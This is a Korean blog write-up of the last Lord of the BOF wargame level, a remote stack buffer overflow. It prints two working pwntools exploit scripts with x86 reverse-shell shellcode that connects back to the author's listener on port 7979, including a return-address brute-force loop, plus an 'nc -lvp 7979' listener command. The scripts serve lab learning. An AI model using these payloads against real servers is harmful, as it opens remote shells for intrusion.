- 
                            
                            [LOB] Xavius -> Death_knight Write-up표튜터와 함께하는 Pwnable/The Lord Of the BOF Write-up 2019. 3. 24. 16:42혹시나 이상하거나 잘못된 것이 있다면 댓글 부탁드립니다. 드디어 마지막 문제이다! 코드를 보도록 하자!! 힌트는 Remote BOF이다. 버퍼의 크기는 40인데 입력할 수 있는 크기는 256이므로 아주 쉽게 BOF취약점을 가진 코드를 찾을 수 있다. 이제 이 코드를 어떻게 이용하느냐에 따라 이 문제를 풀 수 있을 것 같다. 우선 프로그램을 실행시켜보겠다! 참고로 나는 두 가지 방법으로 풀기위해서 포트번호가 6667로 death_knight파일을 하나 더 빌드해놓았다. 또잉?? 이미 실행중이다.. 실행 중인 것을 확인했다. 소스코드에서 해당 포트번호가 6666이란걸 알았기때문에 접속해보도록 하겠다. 일단은 포트 6667파일로 실행시켜보았다. 입력창이 나왔고 버퍼에 값을 입력할 수 있었다. 이 입력(recv)을 이용해서 공격을 진행할 수 있는데 위에서 말했듯이 두 가지 방법이 있다. 1. Reverse Shellcode 사용하기 2. Shellcode & ltrace 사용하기 1. Reverse Shellcode 사용하기 1번부터 진행해보도록 하겠다. 우선 Reverse Shellcode를 생성해보겠다. pead의 shellcode generate기능을 이용하면 간편하게 만들 수 있다~ 해당 Shellcode는 서버가 7979포트로 나의 pc에 접속하게 만드는 Shellcode이다. 다만든 Shellcode를 이용해서 쉘코드를 짜보도록 하자!! 123456789101112131415161718192021from pwn import *shell="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"\"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x01\x70\x66\x68"\"\x1f\x2b\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"\"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"\"\x89\xe1\xb0\x0b\xcd\x80"for i in range (0xFF,0x00,-1):for j in range(0x00,0xFF,10):p = remote("192.168.1.58",6666)print str(hex(u32(chr(j)+chr(i)+"\xff\xbf")))payload = "A"*44payload += chr(j)+chr(i)+"\xff\xbf"payload += "\x90"*100payload += shellprint p.recvuntil("You : ")p.send(payload)p.close()cs 서버 프로그램이 때문에 쉘코드가 저장된 버퍼의 정확한 주소를 알기 어려워서 ret값을 정확히 줄 수가 없다. 그러므로 Brute force하도록 exploit 코드를 짜야한다. 0xBFFF0000을 생각하고 하위 4Byte만 Brute Force하였다. 해당 코드를 작동시키기 전에 서버가 나의 7979포트로 접속하도록 만든 
 Shellcode이기 때문에 7979 포트를 열어놓고 기다려야한다.< nc -lvp 7979로 대기중 > 아래의 그림처럼 코드가 실행되면서 Brute Force가 진행되면서 쉘이 따진다. < exploit코드 실행 중 > 
 2. Shellcode & ltrace 사용하기전제조건이 있는데 바로 서버가 fork를 사용해야한다는 것이다. 우선 복사본에ltrace -f 명령어를 이용해서 fork를 사용하는지 확인해보자.복사본을 서버프로그램을 실행시킨 뒤, 해당 서버프로그램에 접속했더니 또잉~ 바로 버퍼의 주소가 바로보이고 fork를 사용한다는 것도 확인할 수 있었다. 버퍼의 주소가 0xbffffac0임을 알았으니 여기에 buffer + sfp(4) + ret(4)를 하면 0xbffffaf0가 되고 이곳에 Reverse Shellcode를 넣어주고 ret를 0xbffffaf0으로 주면 Shellcode가 실행될고 쉘이 따질 것이다! 이 방법을 사용하면 버퍼의 정확한 위치를 알 수 있기 때문에 Brute force가 필요없다! 이런식으로 exploit 코드를 짜고 아까처럼 포트를 열어 기다려보자~12345678910111213141516171819from pwn import*shell="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"\"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x01\x70\x66\x68"\"\x1f\x2b\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"\"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"\"\x89\xe1\xb0\x0b\xcd\x80"p = remote ("192.168.1.58",6666)payload = "\x90"*44payload += "\xf0\xfa\xff\xbf"payload += shellp.recvuntil("You : ")p.send(payload)p.close()cs 코드를 실행했더니~ 쉘이 넘어왔다~ 이제 원본 서버프로그램에서 진행해보자. kill 명령어를 이용해서 실행중이었던 death_knight를 끄고 다시 위처럼 실행했다. 깔끔하게 쉘이 넘어왔다~~ 짝짝짝~~~~ 이것으로 드디어 LOB가 모두 끝났다. 꿀팁과 정확한 개념을 잡도록 도와준 py0zz1에게 감사한다 ~ 끝 ~ 반응형'표튜터와 함께하는 Pwnable > The Lord Of the BOF Write-up' 카테고리의 다른 글[LOB] Nightmare -> Xavius Write-up (0) 2019.03.19 [LOB] Succubus -> Nightmare Write-up (0) 2019.03.19 [LOB] Zombie_Assassin -> Succbus Write-up (0) 2019.03.14 [LOB] Assassin -> Zombie_Assassin Write-up (0) 2019.03.05 [LOB] Giant -> Assassin Write-up (0) 2019.03.04 댓글